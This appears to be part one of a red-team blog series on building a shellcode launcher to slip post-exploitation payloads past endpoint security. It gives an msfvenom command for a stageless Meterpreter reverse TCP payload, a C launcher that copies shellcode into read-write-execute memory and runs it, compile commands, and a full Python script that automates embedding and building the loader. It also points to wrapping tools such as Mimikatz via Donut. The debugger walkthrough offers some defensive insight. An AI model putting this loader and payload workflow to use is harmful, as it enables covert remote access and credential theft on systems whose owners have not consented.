It is important to consider the likelihood of detection when selecting tools for a red teaming engagement. Unintended detections, while good news for the blue team, can result in burned C2 infrastructure, loss of access and increased security measures. The goal of this blog is to showcase some of the utility a shellcode launcher can provide during offensive engagements, and demonstrate how to develop a shellcode launcher which protects payloads and bypasses emulators.

This blog is not intended to serve as a tool release. Red teamers will primarily benefit from customizing and expanding their own shellcode launcher to best suit their needs. Personalizing the launcher by implementing custom emulator bypasses and evasion features reduces the likelihood that the launcher will be detected by security solutions.

Shellcode launchers are a rudimentary evasion technique. While the shellcode launcher may often facilitate the initial execution of the payload, heuristic detection methodology may still flag on other aspects and behaviors of the payload. For example, a security solution may detect the payload while it is in memory, or detect specific network traffic as malicious. We will look at some post exploitation frameworks which are well suited to be combined with the launcher and look at how we can embed other types of binaries such as .NET and compiled PE binaries.

The first part of the blog series will cover the basic essentials of using shellcode for post exploitation payloads. In the second part, we will implement additional features for the launcher, and look at some of the advantages and disadvantages of certain features. Because we are using shellcode to avoid signature-based detection, it is important to limit the likelihood of security solutions creating signatures of the launcher. Binary obfuscation is a potential solution to avoid signature-based detection, and we will write a python script to automate both the generation and obfuscation of the launcher.

A Brief Introduction to Shellcode

For the launcher to have a use case, we need shellcode which can achieve some objective on the target endpoint. Post exploitation frameworks such as Metasploit and Cobalt Strike have their own shellcode generators, but the payloads from these frameworks have high detection rates as they are widely used. However, they provide a wide range of features which could facilitate efficient post exploitation operations, and are excellent options when the launcher successfully evades detection. In addition, using easily detectable shellcode will help us determine if the evasion features of the launcher are working properly during the development process.

Metasploit and Cobalt Strike provide both staged and stageless payloads. When using a staged payload, the shellcode will be smaller, resulting in a smaller launcher binary. However, staged payloads may have additional detections compared to stageless payloads. This might be because the network traffic from the stager is flagged as malicious, or because the method used by the stager to execute the final payload is detected. As a result, both staged and stageless payloads have their own use cases. However, for this blog we will use stageless payloads for evasion purposes because we are not concerned about signature-based detections of the payload before it is loaded in the memory. For more information about staged vs. stageless payloads, check out the Deep Dive Into Stageless Meterpreter Payloads blog post by OJ Reeves.

The image above demonstrates how we can generate raw shellcode with msfvenom. We specify the IP and port we want the payload to connect to, and save the output to a file. When working with large files, the head command can be used to only print the first characters. Here we used the -c argument to only print the first 100 characters, which we can then pipe to xxd to get a hexdump of the shellcode.

msfvenom –p windows/meterpreter_reverse_tcp LHOST=IP LPORT=port > stageless_meterpreter.raw

head –c 100 stageless_meterpreter.raw | xxd

The Donut project by TheWover can be used to create position-independent shellcode which can load .NET, PE, and DLL files. This tool will allow us to extend the usability of the launcher by supporting additional payload types. With Donut we can easily generate shellcode for tools such as Mimikatz, Safetykatz, and Seatbelt.

Anatomy of a Shellcode Launcher

The shellcode launcher is written in C, and we will use Python to automatically insert the shellcode and compile the binary. To compile Windows executables on Linux, we will use the MinGW compiler.

#include <stdio.h> #include <windows.h> using namespace std; int main() { char shellcode[] = "#replace_me#"; LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(lpAlloc, shellcode, sizeof shellcode); ((void(*)())lpAlloc)(); return 0; }

Here we can see the source code of a standard shellcode launcher. We will be adding features to this launcher during this blog series. The launcher consists of four main parts. First, the shellcode is defined as a char variable, however the current source code has a placeholder string which will be used to modify it automatically later. Then, we allocate the memory for the shellcode by using VirtualAlloc. It is important to note that this memory page currently has read, write, and execute permissions. After that, the shellcode is moved into the newly allocated memory page using memcpy. Finally, the shellcode is executed.

The shellcode we can generate with Msfvenom, Cobalt Strike, and Donut consists of raw bytes. Because we want a payload to be embedded inside the source file; we have to format the shellcode to a hex representation. A manual solution is to use hexdump , however we will automate this step in Python later on.

The hexdump command will read the raw shellcode file and return a hex format which we can embed inside our source code. In the image above, we save the output to a file, and then use the head command to illustrate the hex format returned by hexdump .

hexdump -v -e '"\\""x" 1/1 "%02x" ""' raw.bin >> hex_format

head –c 100 hex_format

If we replace the #replace_me# string in the source file with the hex formatted shellcode, we can then compile it with MinGW.

i686-w64-mingw32-c++ shellcode_launcher.cpp -o launcher.exe

Automating the Process

While we could format the shellcode and insert it into the source file manually, we will instead write a short Python script which automates this process. The Python script will require three file operations. It has to read the raw shellcode file, read the source file, and then write the formatted source code to a file which can then be compiled into the final binary.

import binascii import argparse import subprocess import os def main(p_args): # Read source template with open("launcher_template.cpp", "r") as input_template: source_template = input_template.read() # Read input payload with open(p_args.input, "rb") as input_shellcode: raw_shellcode = input_shellcode.read() # Convert raw binary to formatted hex hex_data = binascii.hexlify(raw_shellcode).decode() hex_file_content = r"\x" + r"\x".join(hex_data[n : n+2] for n in range(0, len(hex_data), 2)) # Insert the shellcode into the source code output_file = source_template.replace("#replace_me#", hex_file_content) # Write our formatted source file with open("compile_me.cpp", "w") as output_handle: output_handle.write(output_file) # Specify our compiler arguements compiler_args = [] compiler_args.append("i686-w64-mingw32-c++") compiler_args.append("compile_me.cpp") compiler_args.append("-o") if len(p_args.output) > 0: compiler_args.append(p_args.output) else: compiler_args.append("shellcode_launcher.exe") # Compile the formatted source file subprocess.run(compiler_args) # Delete the formatted source file after it has been compiled os.remove("compile_me.cpp") if __name__ == "__main__": parser = argparse.ArgumentParser(description='Protect your implants') parser.add_argument("--input", help="Input file. Raw shellcode", type=str, required=True) parser.add_argument("--output", help="Specify file output", type=str, default="") args = parser.parse_args() main(args)

We use argparse to determine the input file. By using the binascii library; we can convert the raw shellcode into hex without using the hexdump command. Currently, the path to the source template file is hard coded into the python script, however this could easily be modified to allow the user to choose between different templates by using the argparse library. Furthermore, we can automatically compile the newly formatted source file, and then delete it once the final binary has been compiled.

Analyzing the Launcher With x32dbg

If we run the executable in a debugger, we can examine how the shellcode gets executed.

In the picture above we can see what happens after the shellcode has been copied into the memory page allocated by VirtualAlloc . After memcpy is called, the address of the shellcode is moved from the stack into the EAX register.

If we now look at the value in EAX ; we can find the address of where the shellcode is located.

Once we have the address; we can find the memory page using the memory map tab in x32dbg. As we can see in the picture above, the memory page which contains the shellcode currently has read, write, and execute permissions. Another thing to note is that we can see an additional memory page with the same size of the payload in .rdata . Because the shellcode is embedded unencrypted within the binary, defenders would be able to detect the malicious payload without executing the launcher binary.

With x32dbg blue teamers can view the contents the memory page and export it to a file for further analysis later. A useful note for blue teamers, is that even if the payload had been encrypted before it was embedded inside the launcher binary; the unencrypted payload could still be dumped by stepping through the execution in a debugger.

If we continue stepping through the execution, we can see that after call eax is executed, the instruction pointer jumps to the shellcode. When we now continue the execution normally, we receive a new client connection in Cobalt Strike.

Conclusion

Msfvenom, Cobalt Strike, and Donut allow us to easily support a wide range of different payloads. However, additional features have to be implemented before we can make these payloads bypass endpoint security solutions. While the current launcher is rudimentary, it serves as a great foundation which can be expanded later on. We learned how to format raw shellcode, and how to compile the source code into an executable binary. In addition, we created a Python script which automates this process for us.

By examining the execution of the launcher in a debugger, we got insight into how the payload is executed. Because we were able to locate the malicious payload before executing the shellcode launcher, we demonstrated how we need to prevent static signatures of the payload by protecting the shellcode before embedding it in the launcher. In addition, we need to prevent security solutions from detecting the payload during execution by preventing the launcher from being executed in an emulator. In the next part of this blog series we will explore evasion techniques and implement additional evasion features for the shellcode launcher.